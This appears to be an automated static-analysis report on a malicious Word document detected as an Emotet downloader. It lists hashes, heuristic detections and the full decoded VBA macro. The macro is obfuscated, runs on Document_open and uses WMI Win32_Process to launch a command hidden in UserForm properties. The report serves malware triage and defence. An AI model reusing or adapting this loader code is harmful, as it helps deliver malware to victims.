Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e1fda824571f2302…

MALICIOUS

Office (OLE)

80.6 KB Created: 2019-12-17 06:11:00 Authoring application: Microsoft Office Word First seen: 2022-06-20
MD5: d6c192787f11da338ef59a7121e4193f SHA-1: 2fca913fa8b97766f51e76bfee07a8fe7fd4cc25 SHA-256: e1fda824571f23020a6d0542f377126f7fab38eb84ee61da05a0f4ecc56f8c17
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Eveqlkzbe = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Apgpkwit.Ettfxginvep + "rocess"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Mdmkwwbuvmfk = VBA.CreateObject(Eveqlkzbe)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9771 bytes
SHA-256: f36d31dd2037fce4b4ab09662781fc8b2e392a945e4b72e445fa5d4bff2d3e30
Detection
ClamAV: No threats found
Obfuscation or payload: likely
116 of 190 identifiers look randomly generated (e.g. 'qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Apgpkwit"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ettfxginvep, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Yiyrdujuikl = Vmpsqycsphu To Eercjwtm
         Vcadkiyhlntq = Tfewyiaetcq
         Fbosdkut = Vskraikhnvc
Next
Select Case Rwncqqjxm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Hhqyqbclnpr = Qisgarsklfxpv To Bjwkavjpf
         Gquvemkd = Ojcyfdvbs
         Rxjetgkcgtnd = Bpqbleshxm
Next
Select Case Murnnmuhptkr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Krvtnnoql = Sziakxdevtbe To Sjcbebomksq
         Yfgtvehh = Qblgscnjnsd
         Mpgdffppj = Eypzfzvhfula
Next
Select Case Wkwjdmadbteo
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ltawyvwjrj
End Sub

Attribute VB_Name = "Wwppglovlku"
Attribute VB_Base = "0{39650168-3498-49EA-8446-FFCEA92E7B80}{5D43C2C4-7F3F-4F31-8CE8-05887EC46B35}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tiuomrkk"
Function Baswvvyekxdq()
   For Ioqfyjaqdplhc = Gbydaecbqhg To Almiawhlbmiw
         Yjqoomwics = Rgnaxrrhqrd
         Gyffoqhhv = Ztsewsjufkeb
Next
Select Case Oqelthgn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xmblvihztcof = Apgpkwit.Ettfxginvep
   For Wbebwsgpqrn = Kscvvpmgbsmr To Zuhppiurqjuh
         Axagfluwf = Qlivjsjs
         Vicxlztct = Aggdrgmtydo
Next
Select Case Zxmwgrlppye
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Vgjijvycxto = Xmblvihztcof + Wwppglovlku.Prarinabhbxs + Wwppglovlku.Rkataqriuq + Wwppglovlku.Dswpxqftowi
   For Pvcshvahwn = Gnmhtlrepfw To Oqkzmzsj
         Kwlrpxgiiwls = Jijnjtjztqse
         Jolhesblh = Gjxnmpwp
Next
Select Case Dqezillduzk
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Oyviiawlnoxdl = Vgjijvycxto + Wwppglovlku.Mhnftesdfwmy + Wwppglovlku.Wvysfqwu
   For Lzjqktswnhg = Prfdzogyrykht To Nqboaokrsjg
         Yqrhweaw = Copptayjrqd
         Frwkeznttteaa = Kocskaza
Next
Select Case Rrtaoezpulqat
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Baswvvyekxdq = Kytpljlqrzec + Oyviiawlnoxdl + Kytpljlqrzec
   For Uyrvjqovmwgy = Zsglaomciyl To Mbeuezkigoh
         Utwljfscn = Djigsqsjfbcuh
         Zqeseyiu = Fxpglmyhiqur
Next
Select Case Qwyxfsyoihf
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function
Function Ltawyvwjrj()
   For Crhdufkjk = Owisxturp To Gxrsyorudbdls
         Yptpmfewrzb = Llhvsdkjlbgw
         Idklqejuexa = Cbztxbzjruhs
Next
Select Case Dnomstow
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
XXXXX = "qwh_h2bd"
Eveqlkzbe = Join(Split("qwh_h2bdwqwh_h2bdiqwh_h2bdnqwh_h2bdmqwh_h2bdgmqwh_h2bdtsqwh_h2bd:Wqwh_h2bdinqwh_h2bd3qwh_h2bd2_qwh_h2bd", XXXXX), "") + Apgpkwit.Ettfxginvep + "rocess"
   For Owfkfkhijwzy = Bmliunxzzt To Dfxxualmh
         Tdgqfvib = Tworeklto
         Pyhcllcymc = Lrfowserrsc
Next
Select Case Ifpqastqoe
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Mdmkwwbuvmfk = VBA.CreateObject(Eveqlkzbe)
   For Szbxpzuym = Rnojqsuzh To Yrplhntrlol
         Qcvedxly = Iuqtybnup
         Ajiesgeu = Gtmtoxpwkvr
Next
Select Case Grruvqyuvt
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ojzqjyuft = Eveqlkzbe + Wwppglovlku.Poewcfjliol.ControlTipText + Wwppglovlku.Gzagxkpukiese.ControlTipText
   For Atkvtdycbosn = Nqxxuttjfauqh To Vmxjyuxpucm
         Lxwiyoifq = Xzrokbcvj
         Bvdwbpacv = Mxhdlstglfssl
Next
Select Case Jetaqlvf
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bqjlwafvo = Ojzqjyuft + Apgpkwit.Ettfxginvep
   For Edeewoadsmtzx = Rzshisuxssb To Qhtwikbaziymt
         Gbqwzzqgsiv = Gmlvuenlsx
         Josquvprdr = Euwzbbnm
Next
Select Case Umxcronfney
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Set Ltawyvwjrj = CreateObject(Bqjlwafvo)
   For Qffntechrjt = Iqwsahcvfiqv To Yimwkqccqbv
         Fctwbpadg = Xjftkwoshqd
         Mjqtgauxn = Slmpglkrqvyak
Next
Select Case Tncfobdojsyg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ltawyvwjrj.XSize = False
   For Wytdxdfu = Opielecnw To Pblmtpngyxspt
         Wwerhrla = Ioqkdltoghw
         Ensnskvzpsj = Ifhedbxxl
Next
Select Case Vulyameepfzdp
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Ltawyvwjrj.YSize = False
   For Objxnoujrb = Iboweghacbg To Nvbilxugzhr
         Ofoutzhpqybr = Fujmvygast
         Ddiitwsns = Iihdbwxzql
Next
Select Case Mquwfkonusm
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Do While Mdmkwwbuvmfk.Create(PPPP & Baswvvyekxdq, Zkiqtksa, Ltawyvwjrj, Jtippavgx)
Loop
   For Xzaqcisdxtxq = Ijkymrhn To Pfgfquvpdptep
         Xlhmwqzbftk = Qgkjwbbwcmm
         Hntkduqlogaaf = Ebmftezxeki
Next
Select Case Qvyujzjmhuqq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
End Function

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